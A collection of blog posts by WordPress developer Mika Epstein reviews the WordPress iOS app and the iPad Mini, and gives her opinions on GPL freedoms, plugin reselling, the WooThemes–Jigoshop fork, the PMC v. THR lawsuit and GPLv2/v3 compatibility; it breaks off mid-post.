### [WordPress iOS App: Good for Bloggers](https://halfelf.org/2014/wordpress-ios-app/)
**Published:** November 5, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The verbification of WordPress lets me down when I reflect on the iOS app.
**Content:**
This is a big distinction.
The app is great. I love using it to write a blog post when I’m on the go, and save for my annoyance that it wants to default to publish and even if I move it to draft, it saves the date and time *that* moment in time, it’s a good app.
But it’s not great for **non**-bloggers.
Let me step back. I run a little database site on WordPress. It’s a listing of TV shows and characters and while it has a blog, it has a bunch of custom post types. Want to know what you can’t write on the iOS app? Pages and CPTs. You also can’t add new users or plugins or anything like that. All I can do is write up a blog post about things. Sure, I can upload pictures but I can’t add them to the library in general, just to posts (and yes, I care about that sometimes). Uploading and setting a featured image is also more complicated than it should be. I often end up with the image uploaded twice.
Realistically, I look at the iOS app and I’m not sure who the target audience is. It’s very easy to add my WordPress.com account and view my reader there, but that’s a different group of people than the ones who want to blog. Then there’s the thought of actually blogging. If you’re on WordPress.com, you can’t add custom post types, so that issue is null, but you still can’t edit pages or Portfolios (which comes with all .com blogs now).
It makes you start to wonder if there should be separate apps, for WordPress.com and self-hosted people, and to that I think not. I’m always going to be logged in to WordPress.com on my iPad because of Jetpack and a desire to see my stats. But at the same time, I really don’t care as much about my WordPress.com blogs. I should, but over time I’ve merged them all into my self-hosted sites because it’s easier for me to go to one place. It’s with that in mind I think we should just have one place for all our WordPress iOS/app needs.
Then you have to consider what the use-case is of a WordPress app. For me, it’s that I want to work on a draft post while on the go and save it offline, only to have it magically get tossed up onto my blog when I’m online. I think of it like Numbers and iCloud. I can edit my archery spreadsheet on my iPhone while I’m at the range and it’s automagically updated on my laptop when I next open Numbers there. Of course, WordPress blogs don’t really work that way.
But at this point, that’s *all* the iOS app is good for, because I can’t administer my site from it. This isn’t so bad, since people like Boren are rabid mobile-first devs for the WordPress admin dashboard. At the same time, we’ve only had it be mobile responsive since 3.8 or so, and it’s been spotty for doing ‘everything’ due to OS limitations, which makes it imperfect. As much as I’m a fan of using WordPress to WordPress, it’s the simple things that make me look at [Desk](http://desk.pm/) for my laptop. Someplace to write.
Except for that, the iOS app still fails because I can *only* write a blog post, and most WordPress sites are more than just blogging now.
At WordCamp San Francisco 2014, I heard more and more people refer to their sites as ‘A WordPress’ than ‘A WordPress blog.’ Every day at work I hear people asked if they would like to setup a WordPress on their site. We’ve verbified the word, but we haven’t verbified the app yet.
**Categories:** How It Is
**Tags:** apple, review, software, wordpress
---
### [iPad Mini](https://halfelf.org/2014/ipad-mini/)
**Published:** June 25, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little ditty about my iPad Mini and why I like it so.
**Content:**
I normally don’t review hardware. I like it, but given my one experience with serious electrical work (buy me a coffee, it involves a barn roof), I tend to not mess with it. So I’m purely a hardware consumer.
That means when things like the iPod came out, I was highly interested. A deck of cards and it has all my music? I’m in! Now I have an 8G iPhone (yes, the smallest one) and it’s perfect for what I need it for: a phone and a walkman. Don’t get me wrong, I have a couple games (Tetris, Bejeweled, and Dungeon Raid), but for the most part I use my smartphone to handle the phone and texting stuff, directions when I’m in a new place (which happens a lot now) and listening to baseball games.
I also have a laptop, which I use to code and write and … well you know what they’re for. Then I have an iPad. I’ve had one since they first came out as I’ve always had a mad crush on the idea of an [Apple Tablet](https://ipstenu.org/2004/wheres-the-tablet-macintosh/). Back in 2004, a whole decade ago, I wanted it for ebooks. Today, I use it for books, comics, surfing the web, Angry Birds (do do doot do!), email, and writing. Yes, I like writing stories on my iPad.
Recently, I started looking at the iPad Mini as a viable choice. It’s smaller, lighter, and still retina. At the time, my iPad was the ‘new’ iPad (3rd gen, with Retina), and it worked well, but always felt heavy and clunky in my purse. The main issue I had with the mini was how would reading *comics* feel.
Answer? *Awesome*. The retina display is somehow better on the mini, crisper and clearer without me having to crank the brightness up. It has good battery life (reading all day) and the apps are more responsive than my iPhone. There’s less lag jumping between them. This is due to the beefier processor, I know. I also got more disk space, so now I don’t have to download one manga at a time and delete it when I’m done. I like to re-read.

The only thing I don’t like is reading it in the sunlight, which I know is a common kvetch of the iThings. I love reading on my deck or patio, in the sun, so now I just sit with my head in the shade and it works out. Also, and this is a first world problem, my iPad is so crisp, my eyes get tired reading on it. Though that I’ve solved by changing the iBooks font and colors.
So why blog about this? Well my iPad *also* has an SSH app ([iSSH](https://itunes.apple.com/us/app/issh-ssh-vnc-console/id287765826?mt=8)) and a file editor ([Diet Coda](https://itunes.apple.com/us/app/diet-coda/id500906297?mt=8)) and when you toss in WordPress and Chrome (with my normal profile saved), I can bring just my iPad to a WordCamp and be able to work or take notes. I joked I needed a svn/git app, but really I just use Coda, sync with DropBox, and pick up the files when I’m at my laptop. Yeah, it’s pretty cool.
**Categories:** How It Is
**Tags:** apple, hardware, review
---
### [You'll Never Take My Freedom!](https://halfelf.org/2011/youll-never-take-my-freedom/)
**Published:** August 2, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I may not agree with what you do, but if it's legal, I will defend your right to do it.
**Content:**
I am an adherent to [GPL](https://halfelf.org/2011/software-freedoms/).
This means I understand what it means, what it protects, and what it does not. So when in the beginning of August I saw a guy selling [200 free WordPress plugins for $9](http://www.warriorforum.com/warrior-forum-classified-ads/424733-finally-money-making-wp-plugins-instanly-turn-your-boring-websites-into-35-625-yr-atm-machines.html), I really don’t mind. I mean, I, personally, think that selling the plugins is the wrong way to go about it.
**I will defend your right to resell MY plugin**
Look, I may think it’s a total dick move, and I may personally find it distasteful, but what I don’t find it is illegal. Morality is something else. I am legally permitted to take a plugin from another site, a paid plugin, and if it’s GPL, I can give it away, sell it, or do what I, as a user, want to do with it. Would I? Actually, yes. I have. It’s called *forking* a plugin. But I always attribute the authors, thank them, and point out what I did to make this plugin different.
In fact, it’s not the reselling at all that fired up my blood. It was this one line where he says you can’t resell the plugin compilation for less, and you can’t give it away.

It’s *highly* possible what he meant was ‘This set is a set, don’t steal my shit!’ And to that, yes, don’t take his hard work and steal it, that’s uncool. But where he looses his right to say that is when he tries to revoke freedoms clearly laid out in GPL, notably, I have the right to take a GPL licensed plugin and do what I want. You just can’t have it both ways.
**Don’t worry! This can be fixed!**
Otto pointed out that, as he’s also using images and other possibly non-GPL items in his product, that in a way, this is okay. Well, that’s nice, but he still can’t take away my GPL freedoms. He can do a pseudo-split license, and say “These products are GPL, and as such, all GPL freedoms remain intact. THESE products, however, are not GPL, and fall under the following provisos.” That’s a lot of work, I know, but suddenly he’s GPL-compliant! Yay!
Of course, that assumes he had the right to use those non-GPL items in the first place. And we already knows he’s buzz-worded some BS.
> 1\. I have Full Master Resale Rights and Each One of the Plugins Listed Above Has Resale Privileges attached to them.
>
> 2\. Because of the Master Rights, I have the each developers expressed permission to offer Private Label Rights to All Who Purchase WP Million Dollar Plugins.
>
> 3\. Being That these are Unique & Rare Resell Rights Plugins You Have a Two-fold Benefit,
> a) The Personal Use of the WP Million Dollar Plugin
> b) The Ability to Offer This Unique/Profitable Package to Your Customers.
The rampant abuse of capitalization aside, items number 1 and 2 there doesn’t make a lick of sense to me. First, I know that [at least one plugin dev didn’t give any ‘extra’ permissions outside of what GPL already provides](https://twitter.com/#!/markjaquith/status/98069275037806592). So if we know this guy didn’t ask permission, what ‘master right’ does he have? Not a one, that I can come up with.
GPL freedoms don’t require asking permission to reuse them, they don’t permit ‘private label rights’ (which actually is just marketing speak, and [means nothing at all legally](http://en.wikipedia.org/wiki/Private_label_rights)) or any rights that further *restrict* your freedoms.
Another easy way to fix this is to not include the plugins, but instead sell it as a $10 book: The 200 best plugins for your site, how to find them, which ones to use, and why they’re great! Imagine a book that could help you get started by breaking down the best plugins for what you’re trying to do? A lot of newbies would kill for that. So sell THAT. Sell your own work. If you’ve done the research, sell it. But unless you make the plugin, or are going to support it, you’re nothing more than a hotdog vendor.
**Free is better, right?**
In the end, peer pressure reverted this $9.95 deal into a ‘free’ download by the end of the day, which I did not try (since the amount of layers to download looked like a rip off to me, and lead to a $950 … thing). No one ‘won’ anything, though. I’m sure the guy feels blasted by the people who descended upon the forums (as well as the ones who private messaged him). It’s fairly clear the forum regulars were not pleased by the onslaught nor their attitude.
A lot of agony could have been avoided if research had been done in the beginning. If more time had been spent looking up what was being sold, and why, instead of slapping marketing speak (much of which has been removed). When selling becomes more important than doing the right thing for the product and the users, you’ve lost something. Make good things, make *that* important, and not making money and selling them. If that’s all you care about, I’ll make sure to avoid your product.
By the way… It’s Word**P**ress, with a capital P.
**Categories:** How It Is
**Tags:** copyright, essay, freedom, license, open source
---
### [The Legality of Forking](https://halfelf.org/2011/the-legality-of-forking/)
**Published:** August 29, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** "An avidity to punish is always dangerous to liberty. It leads men to stretch, to misinterpret, and to misapply even the best of laws. He that would make his own liberty secure must guard even his enemy from oppression; for if he violates this duty he establishes a precedent that will reach to himself." -- Thomas Paine
**Content:**
*Update: This post is **just** about the legal aspects of forking. If you just want to talk about the morality of it, please go read [The Morality of Forking](https://halfelf.org/2011/morality-of-forking/).*
You may have heard about this. WooThemes hired a couple of developers who used to work for Jigoshop, and forked one of their plugins.
> Last week [WooThemes announced the hiring of Mike Jolley and Jay Koster](http://wpcandy.com/reports/woothemes-forks-jigoshop-into-woocommerce "WooThemes forks Jigoshop into WooCommerce, launches WooLabs"), as well as the forking of Jigoshop e-commerce plugin into the soon-to-be-released WooCommerce. Jolley and Foster previously worked for [Jigowatt](http://jigowatt.co.uk/), a WordPress and Magento development shop, spending the last year working on the core of Jigoshop.([WP Candy: Jigoshop team and WordPress community members share thoughts on forking](http://wpcandy.com/reports/jigoshop-wordpress-community-share-forking-thoughts))
When you read it that way, it looks a little weird, doesn’t it? Shady even. After all, this is a case of one company cherry picking ideas from another, and then taking developers to continue working on their version.
Here, read this view of events:
> But of course, open source makes it so easy to simply “steal” someone’s idea and hard work. And justifying it by hiding under the umbrella of open source and “legal” [forking](http://en.wikipedia.org/wiki/Fork_(software_development)). ([WooThemes Forks Jigoshop and they brag about it](http://blogforprofit.com/wordpress/woothemes-forks-jigoshop/))
I’m going to go out on a limb here and present a point of view that many people will disagree with.
**It’s not theft.**
Freedom is a complicated, annoying, thing, and sometimes having a freedom means you accept the consequences of that freedom. In the US, we have freedom of speech, which means we can bitch about our government if we want to. But that also means someone else, who has the polar opposite of your views, has the exact same right you do. And I will defend that person with my dying breath that they have that right, no matter how much I detest what they’re saying.
You have to keep that in perspective when you start talking about rights and legality. WooThemes had the legal *right* to do what they did. That doesn’t mean you don’t get to think that it was a dick move, and you may, but what it was, was 100% above-board. They were honest about it, and it was legal. The GPL affords us the freedom to make plugins, fork WordPress if we wanted, and do what we want, so long as we don’t *restrict* the freedoms even more.
We pay a heavy price for these freedoms, don’t get me wrong. All freedoms have a cost. We all pay for them. Thomas Paine’s famous quote reflects on the ‘free’ part of open-source in a strange way: “What we obtain too cheap, we esteem too lightly; it is dearness only that gives everything its value.” The core code of WordPress is free to us, and perhaps we devalue it for that price. Certainly the unrealistic expectations of many users is that this is a free product, and as such they deserve all things for free.
It’s possible that many people are dismissing this forking because hey, it’s a free world! WordPress is free, the plugin was free, the plugin was GPL, we’re all free to do what we want. But WordPress, when it hands us a dizzying array of freedoms in usage, is clearly giving us liberty that can be easily abused. It’s possible this is the case of abuse of that liberty. To judge that, we have to look at the whole picture.
> Woo’s bid to buy out the Jigoshop project grossly undervalued the business and didn’t come close to covering our initial development costs, not forgetting the planning, time and effort both the Jigowatt team and community put into the project.
>
> Woo then made to an offer to ‘collaborate’ which led to their decision to fork Jigoshop. What hasn’t been made public is that collaboration offer included conditions which would have given WooThemes full strategic control over the direction and development of the Jigoshop project in the future. ([Jigoshop: Our Forking Views](http://jigoshop.com/blog/2011/08/26/our-forking-views/))
So clearly we can see that an offer of purchase, and collaboration, were made. They were felt to be not right. That was Jigoshop’s right and choice. Was it the correct choice? Only time will tell. That holds true of both Jigoshop and WooThemes. But up to this point, the whole deal is above-board, fair and just. And then WooThemes said ‘Well, they don’t want to work with us. That’s fair. We’re going to fork. And we’re going to take their core devs with us.’
This is *still* not theft.
See, WooThemes had no power to ‘take’ those devs unless Jigoshop undervalued them. That is *Jigoshop* esteemed their own developers too lightly. If the devs had been happy with their compensation, the direction of the plugin, and the company, they wouldn’t have left.
> If you are a company with an open source project gaining momentum, your core developers absolutely must have a vested interest in your company. And not 1%. It has to be a good chunk of the pie. Enough that the developers feel your company is also their company. Then if another company comes along to hire them, the developer is much more likely to tell them, “Buy the company or take a hike.” ([Lessons learned from the Jigoshop – WooCommerce fiasco](http://bradt.ca/archives/lessons-learned-from-the-jigoshop-woocommerce-fiasco/))
In the corporate world, I’ve signed a contract that says, should I leave my company, there are jobs I have legally agreed *not* to take for 12 months following my termination. My contract also prohibits me from doing certain types of freelance work. Not that long ago, a friend complained that it wasn’t ‘fair’ that we were restricted like that. I looked at her and pointed out “No one made us sign these contracts. We read them, and we chose to sign them.”
I’m no stranger to signing NDAs and other documents that restrict me from telling you things like who banks at the company I work for. I *can* tell you things that are publicly known, but not things that are not. That sounds fair, doesn’t it? I also can’t blog about my company with certain details, and on pain of being fired, I can’t talk to the press about anything. I don’t have to like it all the time, but it’s something I agreed to and that’s a choice I have to live with. Many of my friends who work in other ‘worlds’ can’t understand how a company can restrict my private life. I point out that I signed a contract that promised I wouldn’t, and I keep my promises. If I didn’t, would I be the person they liked and respected?
No one here violated a contract, lied, cheated, or stole. So why are people chapped and are they right to be so?
Right and wrong are tenuous. What’s right for you isn’t right for me, and that’s a part of why we have the law, which defines right for ‘everyone.’ Of course, we all know that even then, right is subjective. The law is imperfect, we know this, that’s why we have judges and jurys who listen to the situations that surround illegalities and make judgements based on not just the black and white of a situation, but the entire picture.
What WooThemes did was legal and fair. End of story. We cannot stand and shout for the freedoms of WordPress and GPL without defending their actions. That doesn’t mean we have to like them. If this makes you decide to never support WooThemes or Jigoshop again, that’s your choice too, and one I will defend till my dying day. I feel that I should point out here that some people who are decrying WooTheme’s move are the *same* people who were all up in arms for Chris Pearson’s Thesis theme to abide by the GPL.
We live by the GPL sword, and we’ll die by that sword for as long as we stay GPL. The community clearly wants to be GPL, or we’d not have gone after Thesis with such animosity. That means we have to accept that sometimes what’s right isn’t what we would do. But then again, no one’s making you use the forked plugin.
Someone’s bound to bring up the fact that even [Matt ](http://ma.tt/)doesn’t like forking. That would be incorrect. WordPress is a fork of B2. Matt’s problem with forking is pretty easy to understand:
> Forking is not usually ideal because it fragments the market for users
Notice how Matt doesn’t say he doesn’t like it, but that it’s not ideal? That does rather apply to this situation. By forking a plugin, you make two versions of it. Were we not all recently delighted when the TimThumb fork (WordThumb) merged with Tim to fix the problems? Were we not ecstatic when WPMU merged with WordPress to make MultiSite? Multiple plugins that do the same thing mean multiple places to have to patch.
And yet. There are already a handful of similar plugins out there. Having competition drives people to make better products and prevents us from resting on our laurels. It’s great you made the best plugin ever, but now what? It’s true this fork may be damaging to the community, and it’s true that it may have caused hurt feelings. But what matters more is where are Jigishop and WooThemes going *next*? How will their plugins make themselves notably different?
In the end, if you don’t like it, vote with your feet, but you owe it to yourself to defend everyone’s freedom with the same ferocity you defend your own. Even the people you hate.
**Categories:** How It Is
**Tags:** copyright, essay, freedom, license, open source, plugins, wordpress
---
### [The Morality of Forking](https://halfelf.org/2011/morality-of-forking/)
**Published:** August 31, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** "Those who expect to reap the blessings of freedom must, like men, undergo the fatigue of supporting it." -- Thomas Paine
**Content:**
Having already established that [Forking is Legal](https://halfelf.org/2011/the-legality-of-forking/), I felt it best to take the other end of the argument.(This was intended to be all one post, but at about 3000 words, it needed to be split up.)
Clarification here. Jigoshop is a product of Jigowatt. I call them Jigoshop in both my posts because it’s easier for my brain.
Gil Rutkowski remarked (without knowing I was already writing this):
> Funny how people pick and choose between the “SPIRIT” of the GPL and its literal legal application to fit their argument. ([@flashingcursor on Twitter](https://twitter.com/flashingcursor/status/108265767467880448))
We often sum up GPL as “Do what you want with this software. Just let other people do what they want with the software you make from it.” If you’re not familiar with it, I think I can sum up the *spirit* of GPL as “Don’t be a dick.” ([Wil Wheaton in Exile](http://wilwheaton.typepad.com/)) People get in a lot of arguments about the ‘spirit’ of things. You’ve probably heard someone complain “He’s following the letter of the law, but not the spirit.” Basically what that means is someone is obeying the law, but not what it means.
How can that even be? If the law is the law, then the law is the law and there should be no wibbly wobbly involved! It happens because of intent. The intent of the law in general is really something we shouldn’t have needed to be told in the first place, when you think about it. Primum non nocere: First, do no harm. Doctors are taught this, and you’d really think that’s self-evident! And yet, even the US Declaration of Independence starts out “We hold these truths to be self-evident…” If they were self-evident, why are we saying thing?
People are selfish. We care about ourselves first, then the people closest to us, and so on and so forth. To say the ‘spirit’ of the law means we’re no longer actually talking about the law as a legislative statute, but about the idiomatic application there of. We’re now talking about how we feel the law should be, which is pretty iffy territory. Talking about the spirit of the law brings up things like the moral ambiguity of the law, and the ethics we try to impose on others. What’s ethical for me may not be so for you, and so on.
So what does the moral aspect of GPL have to do with the recent forking of Jigoshop’s eCommerce plugin? Interestingly we can see how both parties ended up at the fork because they were selfish. Jigoshop didn’t want to give up control and neither did WooThemes. Neither was willing to concede, and in a way, they both ‘lost’ because of it.
Was Woo being a dick to fork the plugin? Yes. And no. You have to keep this in perspective.
You see, *no one* has made a ‘Killer’ eCommerce plugin for WordPress. Not even Jigoshop. From what I’ve been told, Woo has struggled to make their own killer plugin for eCommerce, and failed at it. I will leave it to others who actually use eCommerce on their sites to determine which plugin is queen, but I feel comfortable saying that taking someone else’s work, even when you credit them, *can* be a dick move.
At the exact same time that WooThemes is being a dick for forking, they’re doing a right thing. No that’s not a typo, they are doing A thing that is right. We all know that ‘hacking core’ for WordPress (or any app) is a terrible thing. Merging changesets is a nightmare, no matter what tool you use, and a fork makes it just as hard to incorporate changes. So would not a *better* solution be to make a WooTheme add-on plugin that just changed the parts of Jigoshop they didn’t like? A Woo/Jigo integration plugin?
That would be a wonderful, perfect world. Let me know when we get there. Sometimes the direction of a plugin is such that you *have* to fork it to do what you want. The developers don’t want to follow your dream of unicorns and puppies. Until we reach the perfect world, we fork. Now, it took a bit of reading to verify that WooThemes was unable to make their desired changes *without* editing core plugin code. That left them with only a few viable options. They could submit the changes to Jigoshop and hope for the best, or they could hack the Gibson. Basically, this was the best choice for WooThemes and really, nothing’s wrong with that.
The problem is that WooThemes is going to be making money off this acquisition. Their WooCommerce plugin will be free, just like Jigoshop, but just like Jigoshop, they aim to make a living off the plugin. Off someone else’s work. To be fair, that’s what I do. I support other people’s ‘stuff’ all the time. I’ve not written a lick of code for Windows in years (except DOS and PowerShell scripts) but their products pay my bills. Does that make me a thief?
No, it makes me an opportunist. WooThemes is being opportunistic as well. Remember how I said we are, all of us, selfish? Well so is Woo. They see a chance to make money and use a plugin that works, and not their own with a weird history. (Did you know Nacin was once going to head up WooCommerce before he was snatched by Matt? That’s fun to look at in retrospect.) Woo had a series of unfortunate issues with their own plugin, and it never worked right. They weren’t a dick because they talked to Jigoshop first (they didn’t have to), and I rather hope they said ‘Okay, we’re going to agree to disagree on the direction of the plugin and fork it.’ If Jigoshop first learned of the fork via Woo’s blog post, then they were entirely dicks.
Was Woo being a dick to ‘head hunt’ the developers? Yes. And again, No. Yet again, perspective is important.
I said before that the developers they ‘stole’ wouldn’t have left if they had a reason to stay. People leave companies all the time for myriad reasons. They also stay with companies for others. In the ‘traditional’ corporate world, people get a job and stay with it for a million years. In the freelance world, though, people switch jobs around a lot more. Even so, people only leave companies for three reasons:
1. They hate it here
2. They found something better
3. They were let go
That’s really it. So if someone chooses to leave a company, options one and two are there on the table, and you have to be honest to ask if they would have left if Woo *hadn’t* made the offer? And there’s where the dick move *possibly* lives. Was it Woo’s promise of skittles and beer that made them leave, or was there something wrong at Jigoshop? It’s far too early to point fingers at anyone, especially the developers who may discover they made a poor choice. You have to take risks, after all, or you never succeed.
WooThemes was dickish if they bribed away the developers. But they weren’t if this was just one of those serendipity moments. What if the developers said ‘Wow! Woo shares *our* vision!’ We don’t know, so we have to speculate, but either way, the decision was the developers and not WooThemes or Jigoshop, so any dickery actually belongs to the devs and them alone.
Since I was asked, my personal opinion is this: WooThemes pulled a dick move which in no way violated the letter or the spirit of GPL.
See the spirit would have been violated if, as another shop did recently, they lifted the plugin wholesale, made a couple tweaks, rebrand it, and released it without telling anyone. You know who I’m talking about here. That was violation of the spirit of GPL. But WooThemes was upfront about this. They talked to Jigoshop first, and everyone seems to have known what was going on before the news broke.
While I dislike that WooThemes did this, I will defend their right to do so (and Jigoshop’s right to be upset) until the day we all stop using GPL.
The whole reason I wrote the first post, however, was the high number of people I talked to who said that the spirit of the law was violated. It really wasn’t. Yes, these were dick moves, but the spirit of the law is the meaning, and the meaning of GPL is that you can’t impose *more* restrictions on a GPL product than it started with. No one did that. What Woo did was pretty shitty to their neighbor, don’t get me wrong, but it didn’t kill GPL. It hurt feelings and left a bad taste in the mouth, but that’s not the spirit of GPL either.
The Spirit of GPL is freedom. It’s sharing your work, working together, and when you take someone’s work, being open about them and crediting them. And while you don’t have to like what Woo did, they did not harm the spirit of GPL, because we’re all here, talking about it and still abiding by it.
I can but hope that the fallout from this is that we’ll finally have an eCommerce plugin that stands up as the best because of worth and not because that’s all we’ve got, but we’ll have to wait a couple of years for that to settle.
**Categories:** How It Is
**Tags:** copyright, essay, freedom, license, open source, plugins, wordpress
---
### [PMC Sues THR Over Open Source Code](https://halfelf.org/2011/pmc-sues-thr-over-open-source-code/)
**Published:** September 14, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Open Source goes to court, but this time none of the regular players are involved.
**Content:**
Bet you never thought you’d hear that one!
Today [Deadline’s Parent Company Sues The Hollywood Reporter’s Parent Company For Copyright Infringement](http://www.deadline.com/2011/09/breaking-deadlines-parent-company-files-lawsuit-against-the-hollywood-reporters-parent-company-for-copyright-infringement/). They posted a link to the [complaint](http://www-deadline-com.vimg.net/wp-content/uploads/2011/09/PMC_vs_THR_Complaint110914175112.pdf) and its [exhibits](http://www-deadline-com.vimg.net/wp-content/uploads/2011/09/PMC_vs_THR_Exhibits110914164154.pdf). And this is where I sat up and blinked.
See, TVLine uses WordPress. And part of their claim is that their (I assume) home-grown plugin was lifted. Specifically this file: `http://www.tvline.com/wp-content/plugins/todaysnews/js/jquery.featuredarticle.js`
Now, I’ll totally allow that the site stole the code. But it’s WordPress which means the code is GPL which means … they can. They’re dicks about it, mind you, but they totally can. I’m interested to see how this one plays out.
ETA: By ‘the code’ I mean not JUST that .js file, but the HTML, the specific WordPress calls, etc. THR actually isn’t using WordPress, as it happens.
**Categories:** How It Is
**Tags:** copyright, freedom, license, wordpress
---
### [GPL Freedoms - Yep, Porn's Good!](https://halfelf.org/2011/gpl-freedoms-porn-is-good/)
**Published:** October 10, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You may not like it, you may find it distasteful, but it's perfectly acceptable, license wise, to use certain products for anything you want. Just don't break the law.
**Content:**
Did you know you can use WordPress for a porn site?
Did you know you can use Drupal to show autopsy pictures?
The freedoms of GPL don’t just extend to the software itself, but to *how* you use it. See, most of the time when we talk about GPL freedom, we’re talking about how you’re free to take the code and turn it into a monkey if you want to. But lately, there’s been an effort to remind people that part of GPL also means we don’t restrict your *usage* either.
WordPress has a link to ‘Freedoms’ at the footer of all admin pages, and that duplicates the Bill of Rights found at [WordPress’s Philosophy](http://wordpress.org/about/philosophy/):
> WordPress is licensed under the General Public License (GPLv2 or later) which provides four core freedoms, consider this as the WordPress “bill of rights”:
>
> - The freedom to run the program, for any purpose.
> - The freedom to study how the program works, and change it to make it do what you wish.
> - The freedom to redistribute.
> - The freedom to distribute copies of your modified versions to others.

Drupal doesn’t spell it out as clearly, but given that they have [fetchgals](http://drupal.org/project/fetchgals), which can pull in thumbnails of porno pics (if I read that right), I feel confident to say that Drupal doesn’t care what you use Drupal for. Joolma! puts a lot of stock in people using their product for their communities and nowhere did I find note of a limitation of what you *cannot* do.
The point is valid, however. You can use WordPress, Drupal, Joomla! and pretty much any GPL software for whatever purpose you want, moral or immoral, legal or illegal. This is interesting when you compare it to most EULAs, like Microsoft Office:
> 7\. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the features included in the software edition you licensed. Microsoft reserve reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not
> \[…\]
> • use the software in any way that is against the law;
GPL doesn’t tell you that you can’t use it in a way that’s illegal, and perhaps Microsoft only does to escape a potential lawsuit for someone saying “Aha! You used Office to draft your Mainifesto!” We live in over litigious times. Open Source, by telling us ‘Do what you want, it’s not our beef.’ removes themselves from those issues cleanly and without ass hattery.
One of the tenets of American Law is our freedom to speak our mind. Part of being an American Citizen is that you have the right to defend your beliefs, no matter how much I oppose them, and so long as no one breaks the law, that’s fine. I can ask you to leave my house if you do it on my private property, and you can ask me to leave yours. But if we meet on the street I cannot have you arrested for that. I will defend your freedoms just as you must defend mine, regardless of any agreement or lack there of.
This applies to Open Source because I have the right to use WordPress, Drupal or Joomla! in ways *you* may find distasteful. As long as I’m not violating the agreement of my ISP, the laws of where my server is located, and the laws of my nation, I’m allowed to call you names, insult your heritage, and show nudie pics of pretty girls. On the other hand, I cannot publish your personal information (it’s a violation of invasion of privacy) and I cannot post naked pictures of you without your consent. Actually, my webhost won’t permit and naked pictures at all, so there’s that.
So when you see a site run by WordPress, Drupal or Joomla! that’s doing something you hate, there’s very little you can do about it. Report it to their webhost if you think it’s breaking the law, but otherwise celebrate people in their freedom.
**Categories:** How It Is
**Tags:** copyright, essay, freedom, hosting, license, open source
---
### [GPL - Oh Dear God](https://halfelf.org/2012/gpl-oh-dear-god/)
**Published:** February 28, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** GPL - I don't really care what flavor you use but won't anyone think about the users?
**Content:**
I come to code from a strange direction. I was a fangirl and I learned all about webpages because of that. Perhaps it’s because of that humble begining that I look at the GPL arguments much as I look at ‘shipping’ arguments in fandom. Shipping is when fans believe a relation*ship* to exist between two characters, regardless of anything being scripted. A great example of this is *Xena: Warrior Princess*. Some people thought Xena and Gabrielle were a couple. Some people didn’t. When the two argued, there were fireworks. Now, with shipping, sometimes a miracle occurs and the couple *do* get together (see Mulder/Scully in *The X-Files* and Grissom/Sara in *CSI: Crime Scene Investigation*), but most of the time the arguments go on for eternity.
That’s pretty much how GPL arguments make me feel. Ad nasuem. I hate them, and I was sorely tempted to post this with comments turned off. But various people asked me my opinion and that they’d *like* to see this posted, so… you’re masochists. This all started with [Rarst](http://rarst.net) asking me what I thought about a GPLv2 vs GPLv3 in a trac ticket in WordPress to [fix plugins about page license requirement](http://core.trac.wordpress.org/ticket/16898). I should note that he and I don’t see eye to eye about GPL, and we’re still pretty friendly.
Here’s the thing. I don’t have a horse in this race. GPLv2, GPLv3, MIT, Apache, whatever. I don’t have a license I love beyond measure. You see, I work for The Man, and having done so for 13 years, I have an acceptance of things I can’t change. One of those things is ‘This is how we do things.’ You accept that, even if things aren’t the most efficient, or even if they’re not the way you’d do them if you could choose, this is what they are.
I view the GPL issue in WordPress with the same antipathy. It’s not that I don’t care, it’s that I accept the rules for what they are and I have no reason to rock the boat. WordPress says ‘If you want to be in our repositories, and you want to be supporting our official stuff, you have to play by our rules.’ This is good business sense, it’s good branding, and it’s self-protection. With that in mind, I recently changed a plugin of mine to use code that was MIT licensed.
> **Expat License (#Expat)**
>
> This is a simple, permissive non-copyleft free software license, compatible with the GNU GPL. It is sometimes ambiguously referred to as the MIT License. ([MIT License compatibility with GPLv2](http://www.gnu.org/licenses/license-list.html#Expat))
That’s easy enough. But I’m sure you’ve heard people argue that GPLv3 and GPLv2 are incompatible, or Apache is, and those are true statements. Because they’re incompatible, however, does not mean you can’t use them together, it means you can’t incorporate them!
Let me explain. No. [Let’s let Richard Stallman explain](http://gplv3.fsf.org/rms-why.html):
> When we say that GPLv2 and GPLv3 are incompatible, it means there is no legal way to combine code under GPLv2 with code under GPLv3 in a single program. This is because both GPLv2 and GPLv3 are copyleft licenses: each of them says, “If you include code under this license in a larger program, the larger program must be under this license too.” There is no way to make them compatible. We could add a GPLv2-compatibility clause to GPLv3, but it wouldn’t do the job, because GPLv2 would need a similar clause.
>
> Fortunately, license incompatibility only matters when you want to link, merge or combine code from two different programs into a single program. There is no problem in having GPLv3-covered and GPLv2-covered programs side by side in an operating system. For instance, the TeX license and the Apache license are incompatible with GPLv2, but that doesn’t stop us from running TeX and Apache in the same system with Linux, Bash and GCC. This is because they are all separate programs. Likewise, if Bash and GCC move to GPLv3, while Linux remains under GPLv2, there is no conflict.
What does that mean? It means I could write a plugin in GPLv3 and use it with the GPLv2 (or later) WordPress and not have any issues. However what I cannot do is take that code, put it into WordPress, and distribute it as a new version of WP Core. And that’s (most of) why we shouldn’t have the GPLv3 plugins in the WordPress repository. The fact is that often new core features get their start as plugins, and if we allow GPLv3 in there, we run the risk of breaking licensing.
[](https://halfelf.org/2012/gpl-oh-dear-god/licenses/)Worse, if we get our *ideas* from a GPLv3 plugin and rewrite it to GPLv2, we still are at risk for violation. This is the same reason, to bring it back to fandom, why authors can’t read fanfiction. If they use *your* ideas, you can sue them. We have enough headaches with Hello Dolly, let’s not add to them. And before someone thinks I’m overreacting about that, I wish I was. I’ve watched copyright wars before, seen friends lose their websites over it, and I can’t imagine that a TV show would be less agressive than a software company when they feel their rights have been infringed. It’s terrible, but it’s the reality of the litigious society in which we live.
So why don’t we just move WordPress to GPLv3?
